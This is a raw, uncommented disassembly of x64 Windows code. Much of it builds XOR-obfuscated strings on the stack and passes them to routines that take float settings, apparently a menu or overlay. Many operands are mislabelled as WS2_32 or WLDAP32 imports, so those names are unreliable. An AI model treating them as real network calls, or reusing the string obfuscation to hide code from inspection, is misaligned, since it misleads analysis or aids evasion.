mov byte [rbp + 0x21a], al
xor eax, eax
mov byte [rbp + 0x21b], al
xor edi, edi
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1f9]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x1f8]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1f9]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 0x22
jb 0x1400281d0
mov edx, Ordinal_35
lea rcx, [rbp + 0x1f9]
call fcn.14002c180
mov byte [rax], 0
lea rcx, [rbp + 0x1f9]
call fcn.140006740
mov rcx, rax
call fcn.140056580
mov byte [rbp + 0x6a0], 0x68
mov al, reloc.WLDAP32.dll_Ordinal_41
mov cl, 0x3d
mov dl, reloc.WLDAP32.dll_Ordinal_60
mov r8b, Ordinal_41
mov r9b, Ordinal_60
mov r10b, gethostname
mov r11b, Ordinal_60
mov bl, reloc.WLDAP32.dll_Ordinal_33
mov dil, 0x26
movzx esi, dl
xor r14d, r14d
xor al, 0x68
mov byte [rbp + 0x6a1], al
xor cl, 0x68
mov byte [rbp + 0x6a2], cl
xor dl, 0x68
mov byte [rbp + 0x6a3], dl
xor r8b, 0x68
mov byte [rbp + 0x6a4], r8b
xor r9b, 0x68
mov byte [rbp + 0x6a5], r9b
xor r10b, 0x68
mov byte [rbp + 0x6a6], r10b
xor r11b, 0x68
mov byte [rbp + 0x6a7], r11b
xor bl, 0x68
mov byte [rbp + 0x6a8], bl
xor dil, 0x68
mov byte [rbp + 0x6a9], dil
xor sil, 0x68
mov byte [rbp + 0x6aa], sil
mov byte [rbp + 0x6ab], r14b
lea rdx, [0x1401613c8]
lea rcx, [rbp + 0x6a1]
call fcn.140082b60
movss xmm7, dword [0x14014b570]
lea r14, [r13 + 0xc8]
cmp dword [reloc.WS2_32.dll_accept], 0
je 0x140029165
call fcn.140056200
cvttss2si eax, xmm0
mov dword [0x1401615dc], eax
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [r12 + rcx]
cmp dword [0x140161aec], eax
jle 0x140028366
lea rcx, [0x140161aec]
call fcn.1400f2570
cmp dword [0x140161aec], 0xffffffff
jne 0x140028366
movss dword [rsp + 0x20], xmm10
movss xmm3, dword [rbp + 0xd18]
movss xmm2, dword [rbp + 0xd10]
movss xmm1, dword [rbp + 0xd14]
lea rcx, [0x140161ac8]
call fcn.140005b40
nop
lea rcx, [0x140161aec]
call fcn.1400f2504
movups xmm0, xmmword [rbp + 0xcf8]
movups xmmword [0x140161ac8], xmm0
mov byte [rbp + 0x4fc], 0x42
mov al, reloc.WS2_32.dll_recv
mov cl, 5
xor dl, dl
xor r8d, r8d
xor al, 0x42
mov byte [rbp + 0x4fd], al
xor cl, 0x42
mov byte [rbp + 0x4fe], cl
xor dl, 0x42
mov byte [rbp + 0x4ff], dl
mov byte [rbp + 0x500], r8b
lea rdx, [0x1401613cd]
lea rcx, [rbp + 0x4fd]
call fcn.140082b60
movaps xmm0, xmm14
call fcn.140055340
cmp byte [0x140161564], 0
je 0x1400283e7
cmp byte [0x1401614d7], 0
je 0x1400283e7
movss xmm0, dword [0x14014b4b4]
call fcn.140056330
mov byte [0x1401614d7], 0
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
call fcn.140055250
addss xmm0, dword [0x14014b5e0]
call fcn.140055280
movss xmm0, dword [0x14014b630]
call fcn.140055340
mov byte [rbp + 0x544], Ordinal_45
mov al, 9
mov cl, 0x1c
mov dl, 2
mov r8b, reloc.WLDAP32.dll_Ordinal_30
mov r9b, 0x4a
xor r10d, r10d
xor al, 0x2c
mov byte [rbp + 0x545], al
xor cl, 0x2c
mov byte [rbp + 0x546], cl
xor dl, 0x2c
mov byte [rbp + 0x547], dl
xor r8b, 0x2c
mov byte [rbp + 0x548], r8b
xor r9b, 0x2c
mov byte [rbp + 0x549], r9b
mov byte [rbp + 0x54a], r10b
mov byte [rbp + 0x650], reloc.WLDAP32.dll_Ordinal_35
mov al, 0x6b
mov cl, 0x76
mov dl, 0x66
mov r8b, 3
mov r9b, reloc.WS2_32.dll_WSASetLastError
mov r10b, reloc.WS2_32.dll_WSAStartup
movzx r11d, dl
movzx ebx, dl
mov dil, 0x67
xor esi, esi
xor al, 0x23
mov byte [rbp + 0x651], al
xor cl, 0x23
mov byte [rbp + 0x652], cl
xor dl, 0x23
mov byte [rbp + 0x653], dl
xor r8b, 0x23
mov byte [rbp + 0x654], r8b
xor r9b, 0x23
mov byte [rbp + 0x655], r9b
xor r10b, 0x23
mov byte [rbp + 0x656], r10b
xor r11b, 0x23
mov byte [rbp + 0x657], r11b
xor bl, 0x23
mov byte [rbp + 0x658], bl
xor dil, 0x23
mov byte [rbp + 0x659], dil
mov byte [rbp + 0x65a], sil
mov dword [rsp + 0x28], esi
lea rax, [rbp + 0x545]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x14014b5d4]
movaps xmm2, xmm9
lea rdx, [0x1401601d4]
lea rcx, [rbp + 0x651]
call fcn.140086c80
mov byte [rbp + 0x570], 0x50
mov al, reloc.WLDAP32.dll_Ordinal_22
mov cl, 2
mov dl, reloc.WS2_32.dll_recvfrom
mov r8b, Ordinal_30
mov r9b, reloc.WS2_32.dll_setsockopt
mov r10b, 3
xor al, 0x50
mov byte [rbp + 0x571], al
xor cl, 0x50
mov byte [rbp + 0x572], cl
xor dl, 0x50
mov byte [rbp + 0x573], dl
xor r8b, 0x50
mov byte [rbp + 0x574], r8b
xor r9b, 0x50
mov byte [rbp + 0x575], r9b
xor r10b, 0x50
mov byte [rbp + 0x576], r10b
mov byte [rbp + 0x577], sil
lea rdx, [0x14016011f]
lea rcx, [rbp + 0x571]
call fcn.140082b60
test al, al
je 0x140028591
movss xmm1, dword [0x14016014c]
mov rcx, r13
call fcn.14001f530
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
mov byte [rbp + 0x53c], 0x47
mov al, 0x62
mov cl, 0x77
mov dl, 0x69
mov r8b, 0x75
mov r9b, reloc.WLDAP32.dll_Ordinal_33
xor al, 0x47
mov byte [rbp + 0x53d], al
xor cl, 0x47
mov byte [rbp + 0x53e], cl
xor dl, 0x47
mov byte [rbp + 0x53f], dl
xor r8b, 0x47
mov byte [rbp + 0x540], r8b
xor r9b, 0x47
mov byte [rbp + 0x541], r9b
mov byte [rbp + 0x542], sil
mov byte [rbp + 0x610], WSASetLastError
mov al, reloc.WS2_32.dll_gethostname
mov cl, 0x24
mov dl, 0x3e
mov r8b, 0x25
mov r9b, 0x2f
mov r10b, Ordinal_35
movzx r11d, r8b
mov bl, Ordinal_45
xor al, 0x6b
mov byte [rbp + 0x611], al
xor cl, 0x6b
mov byte [rbp + 0x612], cl
xor dl, 0x6b
mov byte [rbp + 0x613], dl
xor r8b, 0x6b
mov byte [rbp + 0x614], r8b
xor r9b, 0x6b
mov byte [rbp + 0x615], r9b
xor r10b, 0x6b
mov byte [rbp + 0x616], r10b
xor r11b, 0x6b
mov byte [rbp + 0x617], r11b
xor bl, 0x6b
mov byte [rbp + 0x618], bl
mov byte [rbp + 0x619], sil
mov dword [rsp + 0x28], esi
lea rax, [rbp + 0x53d]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x14014b5c0]
movaps xmm2, xmm9
lea rdx, [0x14016014c]
lea rcx, [rbp + 0x611]
call fcn.140086c80
test al, al
je 0x1400286a6
cmp byte [reloc.WS2_32.dll_accept], sil
je 0x1400286a6
movss xmm1, dword [0x14016014c]
mov rcx, r13
call fcn.14001f530
call fcn.140055530
call fcn.140055530
call fcn.1400475f0
movss xmm6, dword [rax + 0xe0]
cvtps2pd xmm6, xmm6
call fcn.1400475f0
movss xmm0, dword [0x14014b654]
divss xmm0, dword [rax + 0xe0]
cvtps2pd xmm3, xmm0
movdqa xmm1, xmmword [0x14014c2b0]
movdqu xmmword [rbp + 0x4b8], xmm1
mov dl, 0x76
mov r8b, 0x69
mov r9b, 0x3e
mov r10b, 0x78
mov r11b, reloc.WLDAP32.dll_Ordinal_30
mov bl, 8
mov dil, listen
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x4b9], al
xor byte [rbp + 0x4ba], cl
xor byte [rbp + 0x4bb], cl
xor byte [rbp + 0x4bc], cl
xor byte [rbp + 0x4bd], cl
xor byte [rbp + 0x4be], cl
xor byte [rbp + 0x4bf], cl
xor byte [rbp + 0x4c0], cl
xor byte [rbp + 0x4c1], cl
xor byte [rbp + 0x4c2], cl
xor byte [rbp + 0x4c3], cl
xor byte [rbp + 0x4c4], cl
xor byte [rbp + 0x4c5], cl
xor byte [rbp + 0x4c6], cl
xor byte [rbp + 0x4c7], cl
xor dl, cl
mov byte [rbp + 0x4c8], dl
xor r8b, cl
mov byte [rbp + 0x4c9], r8b
xor r9b, cl
mov byte [rbp + 0x4ca], r9b
xor r10b, cl
mov byte [rbp + 0x4cb], r10b
xor r11b, cl
mov byte [rbp + 0x4cc], r11b
xor bl, cl
mov byte [rbp + 0x4cd], bl
xor dil, cl
mov byte [rbp + 0x4ce], dil
mov byte [rbp + 0x4cf], sil
movaps xmm2, xmm6
movq r8, xmm6
movaps xmm1, xmm3
movq rdx, xmm3
lea rcx, [rbp + 0x4b9]
call fcn.1400805a0
call fcn.140083870
lea rcx, [rbp + 0xa10]
call fcn.140055710
movss xmm6, dword [rax]
call fcn.140044240
subss xmm6, dword [rax + 0x50]
mulss xmm6, dword [0x14014b4b0]
movaps xmm0, xmm6
call fcn.140055320
movdqa xmm1, xmmword [0x14014c100]
movdqu xmmword [rbp + 0x318], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x319], al
xor byte [rbp + 0x31a], cl
xor byte [rbp + 0x31b], cl
xor byte [rbp + 0x31c], cl
xor byte [rbp + 0x31d], cl
xor byte [rbp + 0x31e], cl
xor byte [rbp + 0x31f], cl
xor byte [rbp + 0x320], cl
xor byte [rbp + 0x321], cl
xor byte [rbp + 0x322], cl
xor byte [rbp + 0x323], cl
xor byte [rbp + 0x324], cl
xor byte [rbp + 0x325], cl
xor byte [rbp + 0x326], cl
xor byte [rbp + 0x327], cl
mov byte [rbp + 0x328], sil
mov r8d, 0x2600110
lea rdx, [0x140161ac8]
lea rcx, [rbp + 0x319]
call fcn.14008e940
lea rbx, [0x140161adc]
lea rdi, [0x140161ae8]
test al, al
je 0x140028909
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdi
lea r9, [0x140161ae0]
movss xmm2, dword [0x140161ad0]
movss xmm1, dword [0x140161acc]
movss xmm0, dword [0x140161ac8]
call fcn.140043aa0
movss xmm1, dword [0x140161ae0]
movss dword [0x140160124], xmm1
movss xmm2, dword [0x140161ae8]
movss dword [0x1401601e4], xmm2
movss xmm1, dword [0x140161adc]
movss dword [0x140160118], xmm1
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
movaps xmm0, xmm6
call fcn.140055320
movdqa xmm1, xmmword [0x14014b870]
movdqu xmmword [rbp + 0x3f8], xmm1
mov dl, listen
mov r8b, reloc.WLDAP32.dll_Ordinal_27
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x3f9], al
xor byte [rbp + 0x3fa], cl
xor byte [rbp + 0x3fb], cl
xor byte [rbp + 0x3fc], cl
xor byte [rbp + 0x3fd], cl
xor byte [rbp + 0x3fe], cl
xor byte [rbp + 0x3ff], cl
xor byte [rbp + 0x400], cl
xor byte [rbp + 0x401], cl
xor byte [rbp + 0x402], cl
xor byte [rbp + 0x403], cl
xor byte [rbp + 0x404], cl
xor byte [rbp + 0x405], cl
xor byte [rbp + 0x406], cl
xor byte [rbp + 0x407], cl
xor dl, cl
mov byte [rbp + 0x408], dl
xor r8b, cl
mov byte [rbp + 0x409], r8b
mov byte [rbp + 0x40a], sil
mov r8d, 0x4100100
lea rdx, [0x140161ac8]
lea rcx, [rbp + 0x3f9]
call fcn.14008e940
test al, al
je 0x140028a34
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdi
lea r9, [0x140161ae0]
movss xmm2, dword [0x140161ad0]
movss xmm1, dword [0x140161acc]
movss xmm0, dword [0x140161ac8]
call fcn.140043aa0
movss xmm0, dword [0x140161ae0]
movss dword [0x140160124], xmm0
movss xmm1, dword [0x140161ae8]
movss dword [0x1401601e4], xmm1
movss xmm0, dword [0x140161adc]
movss dword [0x140160118], xmm0
mov edx, reloc.WS2_32.dll_sendto
xor ecx, ecx
call fcn.14001f4b0
mov byte [rbp + 0x5d0], reloc.WS2_32.dll_socket
mov al, 0x55
mov cl, 0x58
mov dl, 0x45
mov r8b, 0x53
mov r9b, 0x52
movzx r10d, dl
mov r11b, 0x44
xor ebx, ebx
xor al, 0x17
mov byte [rbp + 0x5d1], al
xor cl, 0x17
mov byte [rbp + 0x5d2], cl
xor dl, 0x17
mov byte [rbp + 0x5d3], dl
xor r8b, 0x17
mov byte [rbp + 0x5d4], r8b
xor r9b, 0x17
mov byte [rbp + 0x5d5], r9b
xor r10b, 0x17
mov byte [rbp + 0x5d6], r10b
xor r11b, 0x17
mov byte [rbp + 0x5d7], r11b
mov byte [rbp + 0x5d8], bl
xor r8d, r8d
lea rdx, [0x140160208]
lea rcx, [rbp + 0x5d1]
call fcn.14008da10
cmp byte [0x140161565], bl
je 0x140028add
cmp byte [0x1401614d7], bl
je 0x140028add
movaps xmm0, xmm9
call fcn.140056330
mov byte [0x1401614d7], bl
mov byte [rbp + 0x5e0], Ordinal_30
mov al, 0x48
mov cl, 0x4a
mov dl, 0x51
mov r8b, 0x55
mov r9b, 0x59
movzx r10d, cl
mov r11b, 0x41
xor al, 0x18
mov byte [rbp + 0x5e1], al
xor cl, 0x18
mov byte [rbp + 0x5e2], cl
xor dl, 0x18
mov byte [rbp + 0x5e3], dl
xor r8b, 0x18
mov byte [rbp + 0x5e4], r8b
xor r9b, 0x18
mov byte [rbp + 0x5e5], r9b
xor r10b, 0x18
mov byte [rbp + 0x5e6], r10b
xor r11b, 0x18
mov byte [rbp + 0x5e7], r11b
mov byte [rbp + 0x5e8], bl
xor r8d, r8d
lea rdx, [0x1401601d8]
lea rcx, [rbp + 0x5e1]
call fcn.14008da10
mov byte [rbp + 0x640], gethostname
mov al, 0x6b
mov cl, 0x7d
mov dl, 0x7b
mov r8b, 0x77
mov r9b, 0x76
mov r10b, 0x7c
mov r11b, 0x79
mov bl, 0x6a
mov dil, 0x61
xor al, 0x38
mov byte [rbp + 0x641], al
xor cl, 0x38
mov byte [rbp + 0x642], cl
xor dl, 0x38
mov byte [rbp + 0x643], dl
xor r8b, 0x38
mov byte [rbp + 0x644], r8b
xor r9b, 0x38
mov byte [rbp + 0x645], r9b
xor r10b, 0x38
mov byte [rbp + 0x646], r10b
xor r11b, 0x38
mov byte [rbp + 0x647], r11b
xor bl, 0x38
mov byte [rbp + 0x648], bl
xor dil, 0x38
mov byte [rbp + 0x649], dil
mov byte [rbp + 0x64a], sil
xor r8d, r8d
lea rdx, [0x140160140]
lea rcx, [rbp + 0x641]
call fcn.14008da10
call fcn.140083870
mov byte [rbp + 0x760], 0x43
mov al, reloc.WS2_32.dll_send
mov cl, reloc.WS2_32.dll_recvfrom
mov dl, 0xa
mov r8b, recv
mov r9b, 2
movzx r10d, cl
mov r11b, reloc.WLDAP32.dll_Ordinal_26
mov bl, 0x63
mov dil, reloc.WS2_32.dll_socket
mov sil, 6
mov r14b, reloc.WLDAP32.dll_Ordinal_27
movzx r15d, dil
xor r12d, r12d
xor al, 0x43
mov byte [rbp + 0x761], al
xor cl, 0x43
mov byte [rbp + 0x762], cl
xor dl, 0x43
mov byte [rbp + 0x763], dl
xor r8b, 0x43
mov byte [rbp + 0x764], r8b
xor r9b, 0x43
mov byte [rbp + 0x765], r9b
xor r10b, 0x43
mov byte [rbp + 0x766], r10b
xor r11b, 0x43
mov byte [rbp + 0x767], r11b
xor bl, 0x43
mov byte [rbp + 0x768], bl
xor dil, 0x43
mov byte [rbp + 0x769], dil
xor sil, 0x43
mov byte [rbp + 0x76a], sil
xor r14b, 0x43
mov byte [rbp + 0x76b], r14b
xor r15b, 0x43
mov byte [rbp + 0x76c], r15b
mov byte [rbp + 0x76d], r12b
xor r8d, r8d
lea rdx, [0x1401601e8]
lea rcx, [rbp + 0x761]
call fcn.14008da10
mov byte [rbp + 0x7b0], 0x65
mov al, reloc.WLDAP32.dll_Ordinal_33
mov cl, Ordinal_45
mov dl, 0x36
mov r8b, 0x24
mov r9b, Ordinal_41
mov r10b, reloc.WLDAP32.dll_Ordinal_41
mov r11b, reloc.WLDAP32.dll_Ordinal_32
movzx ebx, al
mov dil, 0x45
mov sil, Ordinal_50
movzx r14d, r11b
mov r15b, 0x3d
movzx r12d, sil
xor r13d, r13d
xor al, 0x65
mov byte [rbp + 0x7b1], al
xor cl, 0x65
mov byte [rbp + 0x7b2], cl
xor dl, 0x65
mov byte [rbp + 0x7b3], dl
xor r8b, 0x65
mov byte [rbp + 0x7b4], r8b
xor r9b, 0x65
mov byte [rbp + 0x7b5], r9b
xor r10b, 0x65
mov byte [rbp + 0x7b6], r10b
xor r11b, 0x65
mov byte [rbp + 0x7b7], r11b
xor bl, 0x65
mov byte [rbp + 0x7b8], bl
xor dil, 0x65
mov byte [rbp + 0x7b9], dil
xor sil, 0x65
mov byte [rbp + 0x7ba], sil
xor r14b, 0x65
mov byte [rbp + 0x7bb], r14b
xor r15b, 0x65
mov byte [rbp + 0x7bc], r15b
xor r12b, 0x65
mov byte [rbp + 0x7bd], r12b
mov byte [rbp + 0x7be], r13b
xor r8d, r8d
lea rdx, [0x140160128]
lea rcx, [rbp + 0x7b1]
call fcn.14008da10
mov byte [rbp + 0x710], Ordinal_45
mov al, 0x66
mov cl, 0x64
mov dl, reloc.WS2_32.dll_WSAStartup
mov r8b, WSASetLastError
mov r9b, WSAStartup
mov r10b, 0x62
mov r11b, 7
movzx ebx, dl
movzx edi, r10b
mov sil, 0x7f
movzx r14d, dl
xor al, 0x27
mov byte [rbp + 0x711], al
xor cl, 0x27
mov byte [rbp + 0x712], cl
xor dl, 0x27
mov byte [rbp + 0x713], dl
xor r8b, 0x27
mov byte [rbp + 0x714], r8b
xor r9b, 0x27
mov byte [rbp + 0x715], r9b
xor r10b, 0x27
mov byte [rbp + 0x716], r10b
xor r11b, 0x27
mov byte [rbp + 0x717], r11b
xor bl, 0x27
mov byte [rbp + 0x718], bl
xor dil, 0x27
mov byte [rbp + 0x719], dil
xor sil, 0x27
mov byte [rbp + 0x71a], sil
xor r14b, 0x27
mov byte [rbp + 0x71b], r14b
mov byte [rbp + 0x71c], r13b
xor r8d, r8d
lea rdx, [0x1401601f8]
lea rcx, [rbp + 0x711]
call fcn.14008da10
call fcn.140083870
lea rdx, [rbp + 0xcf8]
lea ecx, [r13 + 0x17]
call fcn.140044370
movss dword [rsp + 0x20], xmm10
movss xmm3, dword [0x140160148]
movss xmm2, dword [0x140160144]
movss xmm1, dword [0x140160140]
lea rcx, [rbp + 0xb18]
call fcn.140005b40
mov rdx, rax
lea ecx, [r13 + 0x15]
call fcn.140044370
mov byte [rbp + 0x52c], reloc.WS2_32.dll_WSAStartup
mov al, 0x56
mov cl, 0x5d
mov dl, 0x41
mov r8b, reloc.WS2_32.dll_setsockopt
xor r9d, r9d
xor al, 0x73
mov byte [rbp + 0x52d], al
xor cl, 0x73
mov byte [rbp + 0x52e], cl
xor dl, 0x73
mov byte [rbp + 0x52f], dl
xor r8b, 0x73
mov byte [rbp + 0x530], r8b
mov byte [rbp + 0x531], r9b
movdqa xmm1, xmmword [0x14014bf30]
movdqu xmmword [rbp + 0x480], xmm1
mov dl, reloc.WS2_32.dll_WSACleanup
mov r8b, 0x64
mov r9b, 0x66
mov r10b, 0x6b
mov r11b, 0x62
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x481], al
xor byte [rbp + 0x482], cl
xor byte [rbp + 0x483], cl
xor byte [rbp + 0x484], cl
xor byte [rbp + 0x485], cl
xor byte [rbp + 0x486], cl
xor byte [rbp + 0x487], cl
xor byte [rbp + 0x488], cl
xor byte [rbp + 0x489], cl
xor byte [rbp + 0x48a], cl
xor byte [rbp + 0x48b], cl
xor byte [rbp + 0x48c], cl
xor byte [rbp + 0x48d], cl
xor byte [rbp + 0x48e], cl
xor byte [rbp + 0x48f], cl
xor dl, cl
mov byte [rbp + 0x490], dl
xor r8b, cl
mov byte [rbp + 0x491], r8b
xor r9b, cl
mov byte [rbp + 0x492], r9b
xor r10b, cl
mov byte [rbp + 0x493], r10b
xor r11b, cl
mov byte [rbp + 0x494], r11b
mov byte [rbp + 0x495], r13b
mov dword [rsp + 0x28], reloc.WLDAP32.dll_Ordinal_32
lea rax, [rbp + 0x52d]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm7
movaps xmm2, xmm9
lea rdx, [0x1401601f4]
lea rcx, [rbp + 0x481]
call fcn.140086c80
movss xmm0, dword [0x14014b6bc]
call fcn.140055340
movdqa xmm1, xmmword [0x14014bed0]
movdqu xmmword [rbp + 0x300], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x301], al
xor byte [rbp + 0x302], cl
xor byte [rbp + 0x303], cl
xor byte [rbp + 0x304], cl
xor byte [rbp + 0x305], cl
xor byte [rbp + 0x306], cl
xor byte [rbp + 0x307], cl
xor byte [rbp + 0x308], cl
xor byte [rbp + 0x309], cl
xor byte [rbp + 0x30a], cl
xor byte [rbp + 0x30b], cl
xor byte [rbp + 0x30c], cl
xor byte [rbp + 0x30d], cl
xor byte [rbp + 0x30e], cl
xor byte [rbp + 0x30f], cl
mov byte [rbp + 0x310], r13b
mov dword [rsp + 0x20], r13d
lea r9d, [r13 + 0x64]
lea r8d, [r13 + 1]
lea rdx, [0x140160134]
lea rcx, [rbp + 0x301]
call fcn.140087e30
call fcn.140055530
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
call fcn.140055250
subss xmm0, dword [0x14014b598]
call fcn.140055280
movdqa xmm1, xmmword [0x14014b800]
movdqu xmmword [rbp + 0x350], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x351], al
xor byte [rbp + 0x352], cl
xor byte [rbp + 0x353], cl
xor byte [rbp + 0x354], cl
xor byte [rbp + 0x355], cl
xor byte [rbp + 0x356], cl
xor byte [rbp + 0x357], cl
xor byte [rbp + 0x358], cl
xor byte [rbp + 0x359], cl
xor byte [rbp + 0x35a], cl
xor byte [rbp + 0x35b], cl
xor byte [rbp + 0x35c], cl
xor byte [rbp + 0x35d], cl
xor byte [rbp + 0x35e], cl
mov byte [rbp + 0x35f], r13b
lea rdx, [0x1401613c4]
lea rcx, [rbp + 0x351]
call fcn.140082b60
lea ecx, [r13 + 2]
call fcn.1400443d0
mov r13, qword [rbp + 0x7d8]
lea r14, [r13 + 0xc8]
mov rcx, r14
call fcn.14001f6b0
call fcn.140053e10
xorps xmm1, xmm1
cvtss2sd xmm1, xmm0
mulsd xmm1, qword [0x14014b530]
mulsd xmm1, qword [0x14014b540]
cvttsd2si edx, xmm1
mov cl, 1
call fcn.14001f4b0
cmp dword [0x140160224], 0
je 0x14002b527
cmp dword [0x140161618], 0
je 0x14002b282
mov byte [rbp + 0x620], recvfrom
mov al, reloc.WLDAP32.dll_Ordinal_79
mov cl, 0x5b
mov dl, 0x5a
mov r8b, 0x41
mov r9b, 0x5d
movzx r10d, al
mov r11b, 0x58
mov bl, 0x4b
xor edi, edi
xor al, 0xe
mov byte [rbp + 0x621], al
xor cl, 0xe
mov byte [rbp + 0x622], cl
xor dl, 0xe
mov byte [rbp + 0x623], dl
xor r8b, 0xe
mov byte [rbp + 0x624], r8b
xor r9b, 0xe
mov byte [rbp + 0x625], r9b
xor r10b, 0xe
mov byte [rbp + 0x626], r10b
xor r11b, 0xe
mov byte [rbp + 0x627], r11b
xor bl, 0xe
mov byte [rbp + 0x628], bl
mov byte [rbp + 0x629], dil
lea rdx, [0x14016011e]
lea rcx, [rbp + 0x621]
call fcn.140082b60
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
movss xmm6, dword [0x14014b624]
movaps xmm0, xmm6
call fcn.140055280
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0xa18]
call fcn.140005b30
movdqa xmm1, xmmword [0x14014bf60]
movdqu xmmword [rbp + 0x438], xmm1
mov r8b, 0x40
mov r9b, 0x53
mov r10b, 0x4c
movdqa xmm0, xmm1
psrldq xmm0, 1
movd ecx, xmm0
movd edx, xmm1
xor cl, dl
mov byte [rbp + 0x439], cl
xor byte [rbp + 0x43a], dl
xor byte [rbp + 0x43b], dl
xor byte [rbp + 0x43c], dl
xor byte [rbp + 0x43d], dl
xor byte [rbp + 0x43e], dl
xor byte [rbp + 0x43f], dl
xor byte [rbp + 0x440], dl
xor byte [rbp + 0x441], dl
xor byte [rbp + 0x442], dl
xor byte [rbp + 0x443], dl
xor byte [rbp + 0x444], dl
xor byte [rbp + 0x445], dl
xor byte [rbp + 0x446], dl
xor byte [rbp + 0x447], dl
xor r8b, dl
mov byte [rbp + 0x448], r8b
xor r9b, dl
mov byte [rbp + 0x449], r9b
xor r10b, dl
mov byte [rbp + 0x44a], r10b
mov byte [rbp + 0x44b], dil
mov rdx, rax
lea rcx, [rbp + 0x439]
call fcn.1400812b0
test al, al
je 0x14002930a
mov rax, qword [0x1401615b8]
mov qword [0x140161340], rax
mov byte [0x140161a4c], 1
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
mov byte [rbp + 0x568], 3
mov al, 0x54
mov cl, 0x4a
mov dl, 0x4d
mov r8b, 0x47
mov r9b, 0x4c
movzx r10d, al
xor al, 3
mov byte [rbp + 0x569], al
xor cl, 3
mov byte [rbp + 0x56a], cl
xor dl, 3
mov byte [rbp + 0x56b], dl
xor r8b, 3
mov byte [rbp + 0x56c], r8b
xor r9b, 3
mov byte [rbp + 0x56d], r9b
xor r10b, 3
mov byte [rbp + 0x56e], r10b
mov byte [rbp + 0x56f], dil
lea rcx, [rbp + 0x569]
call fcn.1400805a0
mov dword [rbp + 0xda8], 5
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0xa20]
call fcn.140005b30
mov byte [rbp + 0x740], reloc.WLDAP32.dll_Ordinal_26
mov cl, 0x49
mov dl, 0x5b
mov r8b, 0x4c
mov r9b, 0x5f
mov r10b, Ordinal_60
mov r11b, 0x59
mov bl, 0x55
mov dil, 0x54
mov sil, 0x5c
mov r14b, 0x53
mov r15b, 0x5d
xor r12d, r12d
xor cl, 0x1a
mov byte [rbp + 0x741], cl
xor dl, 0x1a
mov byte [rbp + 0x742], dl
xor r8b, 0x1a
mov byte [rbp + 0x743], r8b
xor r9b, 0x1a
mov byte [rbp + 0x744], r9b
xor r10b, 0x1a
mov byte [rbp + 0x745], r10b
xor r11b, 0x1a
mov byte [rbp + 0x746], r11b
xor bl, 0x1a
mov byte [rbp + 0x747], bl
xor dil, 0x1a
mov byte [rbp + 0x748], dil
xor sil, 0x1a
mov byte [rbp + 0x749], sil
xor r14b, 0x1a
mov byte [rbp + 0x74a], r14b
xor r15b, 0x1a
mov byte [rbp + 0x74b], r15b
mov byte [rbp + 0x74c], r12b
mov rdx, rax
lea rcx, [rbp + 0x741]
call fcn.1400812b0
test al, al
je 0x1400294bd
lea rdx, [rbp + 0xda8]
lea rcx, [rbp + 0xa28]
call fcn.140006020
mov rbx, rax
lea rcx, [rbp + 0xa30]
call fcn.140005a20
mov rdx, rax
lea r8, [0x140161a98]
lea rcx, [rbp + 0xa38]
call fcn.140031f30
mov rdx, rbx
mov rcx, rax
call fcn.140021ff0
xor edx, edx
movzx ecx, al
call fcn.140005420
test al, al
je 0x1400294bd
xor ecx, ecx
call fcn.1400083f0
lea rcx, [rbp + 0xa40]
call fcn.140005a20
mov rcx, qword [rax]
mov qword [0x140161a98], rcx
lea rcx, [rbp + 0xdd8]
call fcn.14004d170
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
movaps xmm0, xmm6
call fcn.140055280
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0xa48]
call fcn.140005b30
mov rbx, rax
movdqa xmm1, xmmword [str.b016AA]
movdqu xmmword [rbp + 0x498], xmm1
mov dl, reloc.WS2_32.dll_listen
mov r8b, recv
movzx r9d, dl
mov r10b, reloc.WS2_32.dll_recv
mov r11b, reloc.WS2_32.dll_recvfrom
movdqa xmm0, xmm1
psrldq xmm0, 1
movd ecx, xmm0
movd eax, xmm1
xor cl, al
mov byte [rbp + 0x499], cl
xor byte [rbp + 0x49a], al
xor byte [rbp + 0x49b], al
xor byte [rbp + 0x49c], al
xor byte [rbp + 0x49d], al
xor byte [rbp + 0x49e], al
xor byte [rbp + 0x49f], al
xor byte [rbp + 0x4a0], al
xor byte [rbp + 0x4a1], al
xor byte [rbp + 0x4a2], al
xor byte [rbp + 0x4a3], al
xor byte [rbp + 0x4a4], al
xor byte [rbp + 0x4a5], al
xor byte [rbp + 0x4a6], al
xor byte [rbp + 0x4a7], al
xor dl, al
mov byte [rbp + 0x4a8], dl
xor r8b, al
mov byte [rbp + 0x4a9], r8b
xor r9b, al
mov byte [rbp + 0x4aa], r9b
xor r10b, al
